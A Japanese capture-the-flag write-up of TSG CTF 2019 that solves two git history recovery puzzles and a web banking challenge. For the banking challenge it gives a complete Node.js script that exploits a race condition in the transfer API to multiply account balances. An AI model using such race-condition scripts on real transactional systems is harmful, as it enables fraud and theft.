TSG CTF Writeup
TSG CTF について
東京大学のコンピュータサイエンス系学生団体TSGと株式会社FlattによるCTFの大会が開催されました。 2019年5月4日(土)午後4時〜2019年5月5日(日)午後4時(24時間)
1位から3位までのチームには、賞金が貰えるそうです。 私も参加しましたが、全然歯が立たず、2/22問しか解くことができませんでした。 結果は、370点で79/410位でした。
TSG CTF Writeup(4問)
[Warmup] Sanity Check
問題
Log in to our Discord server for TSG CTF and find the flag here:
TSG CTF のDiscordサーバー にログインして↓の場所に書いてあるフラグを送信してください。
解答例
TSG CTFのDiscodeサーバに接続して、#announcements とトピックに書かれたフラグを送信するだけのウォーミングアップ問題です。
FLAG
TSGCTF{ur_here_cuz_u_absolutely_won_inshack_ctf?}
[Forensics] Obliterated File
問題
※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below.
Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?
※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです.
TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?
Difficulty Estimate: easy
$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now
添付ファイル(problem.zip)
解答例
添付されたzipファイルを展開すると、gitで管理されていたであろうソースコードが確認できます。 下記の記事を参考にflagファイルの復元を試してみると、あっさり復元に成功してしまいました。
$ unzip problem.zip $ cd easy_web/ $ git rev-list -n 1 HEAD -- flag 28d2b74b0c40583a87cf275f9f0cdfd55042884d $ git checkout 28d2b74b0c40583a87cf275f9f0cdfd55042884d^ -- flag $ ls README.md flag problem
ただし、flagファイルは、zlibで圧縮されているようでそのまま読み取ることができません。
$ file flag flag: zlib compressed data
しばらくzip内のファイルを探索していると、 easy_web/problem/main.cr にzlibで圧縮されたファイルの読み取り処理がありました。
require "./src/*" require "sqlite3" #require "zlib" #flag = File.open("./flag", "r") do |f| # Zlib::Reader.open(f) do |inflate| # inflate.gets_to_end # end #end flag = ENV["flag"] `rm -rf data.db` DB.open "sqlite3://./data.db" do |db| db.exec "CREATE TABLE accounts (id text primary key, pass text);" db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');" end Kemal.config.env = "production" Kemal::Session.config.secret = ENV["session_secret"]
コメントアウトされているので、TSG CTF運営がわざと残してくれたものだと思います。せっかくなのでこれを利用して、フラグを読み取りました。
まずは、main.crを下記の通りに書き換えます。
require "zlib" flag = File.open("../flag", "r") do |f| Zlib::Reader.open(f) do |inflate| inflate.gets_to_end end end print flag print "\n"
下記コマンドを実行すると、フラグが表示されます。
$ crystal main.cr TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
FLAG
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
[Forensics] Obliterated File Again
問題
I realized that the previous command had a mistake. It should be right this time...?
さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......?
Difficulty Estimate: easy - medium
$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now
添付ファイル(problem.zip)
解答例
Obliterated File と同様の手法では、flagファイルを復元することができませんでした。
そのため、別の案として、ハッシュ値を総当たりで git cat-file -p xxxx
コマンドを実行し、flagファイルを復元する作戦を取りました。
- ハッシュ値を4桁分だけ求める。
- git cat-file -p
を実行して、ファイルに書き出す。 - 上記を繰り返す。
# brute_git_catfile.py import subprocess from tqdm import tqdm for i in tqdm(range(0xFFFF)): hash4 = hex(i).split('x')[1].zfill(4) try: subprocess.check_call("git cat-file -p " + hash4 + ">> git_catfile.log 2>/dev/null", shell=True) except: pass
上記のプログラムですべてのファイルを出力したので、grepで絞り込んでflagファイルを復元します。
$ python brute_git_catfile.py 100%|██████████| 65535/65535 [03:22<00:00, 323.34it/s] $ grep flag git_catfile.log | grep blob 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag $ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8 > flag
復元したファイルは、前の問題(Obliterated File)と同様にzlibで圧縮されているようです。 同様の方法で展開すれば、フラグを取得できます。
$ file flag flag: zlib compressed data
FLAG
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
[Web] Secure Bank(当日は間に合いませんでした)
当日は、タイミング調整が上手くいかず、間に合いませんでした。 リクエスト回数を増やしたところ、フラグが取得できたので紹介します。
問題
I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!
ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。
Difficulty estimate: Easy
require 'digest/sha1' require 'rack/contrib' require 'sinatra/base' require 'sinatra/json' require 'sqlite3' STRETCH = 1000 LIMIT = 1000 class App < Sinatra::Base DB = SQLite3::Database.new 'data/db.sqlite3' DB.execute <<-SQL CREATE TABLE IF NOT EXISTS account ( user TEXT PRIMARY KEY, pass TEXT, balance INTEGER ); SQL use Rack::PostBodyContentTypeParser enable :sessions def err(code, message) [code, json({message: message})] end not_found do redirect '/index.html', 302 end get '/source' do content_type :text IO.binread __FILE__ end get '/api/flag' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user row = res.next balance = row && row[0] res.close return err(401, 'login first') unless balance return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000 json({flag: IO.binread('data/flag.txt')}) end post '/api/balance' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user) row = res.next res.close return err(401, 'login first') unless row json({balance: row[0]}) end post '/api/register' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT sleep 1 hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} begin DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass rescue SQLite3::ConstraintException return err(422, 'the username has already been taken') end return 200 end post '/api/login' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass row = res.next res.close return err(401, 'username and password did not match') unless row session[:user] = user return 200 end post '/api/logout' do session[:user] = nil return 200 end post '/api/transfer' do return err(401, 'login first') unless src = session[:user] return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src return err(400, 'bad request') unless amount = params[:amount] and String === amount return err(400, 'bad request') unless amount = amount.to_i and amount > 0 sleep 1 hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)} hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src row = res.next balance_src = row && row[0] res.close return err(422, 'no enough coins') unless balance_src >= amount res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst row = res.next balance_dst = row && row[0] res.close return err(422, 'no such user') unless balance_dst balance_src -= amount balance_dst += amount DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst json({amount: amount, balance: balance_src}) end end
解答例
サーバに接続するとユーザ登録画面が表示されます。 ユーザ登録後、ログインすると以下の3つの機能が確認できます。
- 別のユーザにお金を送金する。
- フラグを表示する。
- ログアウトする。
フラグの表示機能を試してみると、「earn more coins!!!」と表示されました。 どうやら何らかの方法でお金を稼げば、フラグが表示できそうです。 次にソースコードを読んでみると、以下の項目が確認できました。
- 10,000,000,000円所持していれば、フラグ表示機能を利用できる。
- ユーザ名やパスワードなどの入力値は、1000文字が最大値となっている。
- ユーザ名とパスワードは、SHA1で1000回ハッシュを取った後、データベースに登録される。
- バインドメカニズムを使用しており、SQLインジェクションができそうにない。
- 送金処理(transfer API)に排他制御の処理がなく、なぜかsleepで1秒待つ処理がある。
送金処理の不備に着目して、お金を増やす方法を考えてみます。 下記の処理を行うことができれば、お金を倍々に増やしていくことができそうです。
2つの送金処理を同時に行う。
- user0 が user1 に1円だけ送金する。(処理x)
- user1 が user2 に全額送金する。(処理y)
現在の状態:
user0 user1 user2 100 100 100 処理xでuser1の残高を取得する。まだ、処理yの送金処理が行われていないので、100円持っていると認識される。
- 処理yでuser1の残高を取得する。
処理yでuser1 から user2 に 全額送金される。
現在の状態:
user0 user1 user2 100 0 200 処理xでuser0 から user1 に 1円が送金される。(2)より、user1の残高が100円だと認識しているので、user1の所持金が101円となってしまう。
現在の状態:
user0 user1 user2 99 101 200
このような処理を行うでプログラムをnodejsで組みました。 以下の処理を行います。
- 3人分のユーザを登録する。
- 各ユーザでログインし、ログイン状態の保持のためcookieを保存しておく。
- user0 から user1に1円を送金する。 次の処理を上手く割り込めるようにするため、同時に20回のリクエストを投げる。
- user1 から user2 に全額送金する。
- user0のお金がなくならないように、user2 から user0 に20円送金する。
- 同様に、user2 から user1 に全額送金する。
- 3~6を目標金額まで繰り返す。
'use strict'; const request = require('request'); const Promise = require('promise'); const async = require('async'); const await = require('await'); function register(user, passwd) { const headers = { 'Content-Type': 'application/json', } const options = { url: 'http://34.85.75.40:19292/api/register', method: 'POST', headers: headers, json: { "user": user, "pass": passwd } } return new Promise((resolve, reject) => { request(options, (error, response, body) => { if (error) { reject(error); } else { resolve(body); } }); }); }; function login(user, passwd) { const headers = { 'Content-Type': 'application/json', } const options = { url: 'http://34.85.75.40:19292/api/login', method: 'POST', headers: headers, json: { "user": user, "pass": passwd } } return new Promise((resolve, reject) => { request(options, (error, response, body) => { if (error) { reject(error); } else { const cookie = response.headers['set-cookie'][0].split(';')[0]; resolve(cookie); } }); }); }; function balance(cookie_string) { const headers = { 'Content-Type': 'application/json', 'Cookie': cookie_string, } const options = { url: 'http://34.85.75.40:19292/api/balance', method: 'POST', headers: headers, json: {} } return new Promise((resolve, reject) => { request(options, function (error, response, body) { if (body) { resolve(body.balance); } else if (error) { reject(error); } }); }); } function transfer(cookie_string, target, amount) { const headers = { 'Content-Type': 'application/json', 'Cookie': cookie_string, } const options = { url: 'http://34.85.75.40:19292/api/transfer', method: 'POST', headers: headers, json: { 'target': target, 'amount': amount.toString(10) } } request(options, function (error, response, body) { if (error) console.log(error); }); } function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } (async () => { const users = ['bank1', 'bank2', 'bank3']; const passwd = 'aaaaaa'; const cookies = []; const keepcount = 20; for (let i = 0; i < users.length; i++) { await register(users[i], passwd); let cookie = await login(users[i], passwd); cookies.push(cookie); } while (true) { // 現在の残高取得 const balances = []; for (let i = 0; i < users.length; i++) { const money = await balance(cookies[i]); balances.push(money); console.log(users[i], money); } // 全額を送金するユーザ(users[1])に1円ずつ送金する for (let i = 0; i < keepcount; i++) transfer(cookies[0], users[1], 1); // 非同期 // 全額をusers[2]に送金する await transfer(cookies[1], users[2], balances[1]); balances[1] = await balance(cookies[2]); if (balances[1] >= 10000000000) break; // 送金したお金を元に戻す await transfer(cookies[2], users[0], keepcount); await sleep(1000); await transfer(cookies[2], users[1], balances[1] - keepcount); console.log('---------------'); } })();
必要なパッケージのインストールと実行結果
$ npm install request promise async await $ node secure_bank.js # 省略 --------------- bank1 2 bank2 20 bank3 5938478442 --------------- bank1 20 bank2 1942115006 bank3 3996363441 --------------- bank1 21 bank2 1942115015 bank3 5938478427 --------------- bank1 21 bank2 5938478445 bank3 3884230001 --------------- bank1 22 bank2 20 bank3 9822708426 --------------- bank1 1 bank2 3884230001 bank3 5938478445 --------------- bank1 0 bank2 3884230017 bank3 9822708426 --------------- bank1 0 bank2 9822708458 bank3 7768459998 --------------- bank1 21 bank2 20 bank3 17591168436
お金を倍々に増やすことができました。あとは、フラグ取得APIを使ってフラグを確認します。
FLAG
TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}